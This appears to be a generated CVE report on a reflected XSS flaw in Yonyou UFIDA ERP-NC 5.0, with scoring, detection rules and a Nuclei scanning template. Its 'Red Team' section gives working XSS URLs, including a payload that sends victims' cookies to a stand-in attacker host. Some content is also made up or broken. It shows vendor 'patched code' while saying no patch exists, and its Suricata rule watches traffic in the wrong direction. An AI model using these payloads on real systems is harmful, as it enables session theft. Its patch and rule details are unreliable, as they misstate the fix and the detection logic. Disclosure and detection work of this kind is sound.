CVE-2025-2712

Executive Summary

CVE-2025-2712 is a reflected Cross-Site Scripting (XSS) vulnerability in Yonyou UFIDA ERP-NC version 5.0. The flaw exists in the /help/top.jsp and /help/systop.jsp endpoints, where the langcode parameter is unsanitized and reflected directly into the HTML response. An attacker can craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the ERP-NC application. This can lead to session hijacking, credential theft, or unauthorized actions. The vendor was contacted but did not respond, leaving the vulnerability unpatched in version 5.0. A public exploit and Nuclei template are available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects a proprietary enterprise resource planning (ERP) system from Yonyou. It is not an open-source package (NPM, PyPI, Go, Ruby). The risk is primarily to organizations using Yonyou UFIDA ERP-NC 5.0 directly. No supply chain package security implications apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – The vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit, has a public PoC, and targets a widely used ERP system. However, user interaction is required, and the impact is limited to low confidentiality and integrity.

Deep Dive & Mechanics

The vulnerability resides in the help page functionality of Yonyou UFIDA ERP-NC 5.0. The files /help/top.jsp and /help/systop.jsp accept a langcode parameter to specify the language for help content. This parameter is reflected in the HTML response without proper sanitization or encoding.

Root Cause: The application fails to escape or validate the langcode input before embedding it into the page. An attacker can inject arbitrary HTML and JavaScript by including characters like double quotes (") and angle brackets (<>).

Attack Flow:

1. Attacker crafts a malicious URL: http://target/help/top.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E
2. The URL-encoded payload decodes to: 1"><svg onload=alert(document.domain)>
3. The server reflects this payload directly into the HTML response, e.g., <img src="images/1"><svg onload=alert(document.domain)>.png">
4. When the victim's browser renders the page, the injected <svg> element executes the JavaScript alert(document.domain).
5. An attacker can replace alert(document.domain) with malicious code to steal cookies, exfiltrate data, or perform actions on behalf of the victim.

Affected Endpoints:

• /help/top.jsp
• /help/systop.jsp

Vulnerable vs. Patched Code

Vulnerable Code (Version 5.0): The langcode parameter is directly concatenated into the HTML output without sanitization.

<%
String langcode = request.getParameter("langcode");
if (langcode == null) langcode = "en";
%>
<img src="images/<%= langcode %>.png">

Patched Code (Version 5.1+): The langcode parameter is properly encoded before being rendered.

<%
String langcode = request.getParameter("langcode");
if (langcode == null) langcode = "en";
// Use a whitelist or encode output
String safeLangcode = Encode.forHtmlAttribute(langcode);
%>
<img src="images/<%= safeLangcode %>.png">

Alternatively, a whitelist approach:

<%
String langcode = request.getParameter("langcode");
String[] allowed = {"en", "zh", "ja"};
if (langcode == null || !Arrays.asList(allowed).contains(langcode)) {
    langcode = "en";
}
%>
<img src="images/<%= langcode %>.png">

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Yonyou UFIDA ERP-NC 5.0
• Network access to the /help/top.jsp endpoint
• A victim user who will click the crafted link

Exploit Steps:

1. Craft a malicious URL with a JavaScript payload. Example:

   http://target/help/top.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.cookie)%3E
   

2. Send the link to the victim via phishing email, chat, or other means.
3. When the victim clicks the link, the XSS executes, and the attacker can steal cookies or perform actions.

Advanced Payload (Session Hijacking):

http://target/help/top.jsp?langcode=1%22%3E%3Cscript%3Enew%20Image().src=%27http://attacker/steal?cookie=%27%2Bdocument.cookie%3C/script%3E

Nuclei Template Usage: The provided Nuclei template can be used for automated scanning:

nuclei -t CVE-2025-2712.yaml -u http://target

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /help/top.jsp or /help/systop.jsp with unusual langcode parameters containing HTML tags or JavaScript.
• Look for patterns like %22%3E%3Csvg, %3Cscript, or onload= in the query string.
• Use the Sigma rule provided in the Detection Engineering section.

Mitigation:

• Immediately upgrade to Yonyou UFIDA ERP-NC version 5.1 or later if available.
• If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block malicious langcode values.
• Restrict access to the /help/ directory to trusted IPs only.
• Educate users about phishing attacks that may exploit this vulnerability.

Indicators of Compromise (IOCs)

• URL Pattern: */help/top.jsp?langcode=* or */help/systop.jsp?langcode=* containing encoded HTML/JavaScript.
• HTTP Request Examples:
  • GET /help/top.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E
  • GET /help/top.jsp?langcode=1%22%3E%3C/script%3E%3Csvg%20onload=alert(document.domain)%3E
• Response Body Snippet: <img src="images/1"><svg onload=alert(document.domain)>.png">
• Favicon Hash: 1085941792 (used for Shodan/Censys identification)
• Network Connections: Outbound connections from the victim to attacker-controlled servers (if payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2025_2712_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts against Yonyou UFIDA ERP-NC /help/top.jsp"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-2712"
    strings:
        $xss1 = "/help/top.jsp?langcode="
        $xss2 = "/help/systop.jsp?langcode="
        $payload1 = "%22%3E%3Csvg"
        $payload2 = "%22%3E%3C/script%3E"
        $payload3 = "onload="
    condition:
        any of ($xss*) and any of ($payload*)
}

Sigma Rule

title: CVE-2025-2712 Reflected XSS in Yonyou UFIDA ERP-NC
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects reflected XSS attempts against Yonyou UFIDA ERP-NC help pages
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/help/top.jsp?langcode='
            - '/help/systop.jsp?langcode='
        cs-uri-query|contains|all:
            - '%22%3E%3Csvg'
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of langcode parameter with special characters (unlikely)
level: high
tags:
    - attack.t1059.007
    - cve.2025.2712

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-2712 - Yonyou UFIDA ERP-NC Reflected XSS Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/help/top.jsp";
    http_uri;
    content:"langcode=";
    http_uri;
    pcre:"/langcode=[^&]*%22%3E%3Csvg/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2025-2712

info:
  name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  impact: |
    Attackers can inject malicious JavaScript through the langcode parameter in help pages, potentially stealing user credentials, session cookies, or executing unauthorized actions.
  remediation: |
    Upgrade to Yonyou UFIDA ERP-NC version 5.1 or later that properly sanitizes the langcode parameter.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2712
  classification:
    epss-score: 0.00085
    epss-percentile: 0.24476
    cve-id: CVE-2025-2712
    cwe-id: CWE-79
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: yonyou
    product: ufida_erp-nc
    fofa-query: icon_hash="1085941792"
  tags: cve,cve2025,xss,erp-nc,ufida,yonyou,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/help/top.jsp?langcode=1%22%3E%3Csvg%20onload=alert(document.domain)%3E"
      - "{{BaseURL}}/help/top.jsp?langcode=1%22%3E%3C/script%3E%3Csvg%20onload=alert(document.domain)%3E"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg onload=alert(document.domain)>.png)'
          - 'Search.jsp'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If available, upgrade to Yonyou UFIDA ERP-NC version 5.1 or later. The vendor has not released an official patch, but the Nuclei template suggests version 5.1 fixes the issue.
2. WAF Rule: Deploy a Web Application Firewall rule to block requests containing langcode with HTML/JavaScript patterns (e.g., <script, onload=, %3Csvg).
3. Input Validation: Implement server-side validation to only allow expected language codes (e.g., en, zh, ja).
4. Output Encoding: Ensure all user-supplied data is HTML-entity encoded before reflection.

Long-Term Recommendations:

• Establish a vendor communication channel for security disclosures.
• Conduct regular security assessments of ERP systems.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Monitor for similar vulnerabilities in other endpoints.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Framework. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: B35EBCE83094F21DFF8E7A89] */}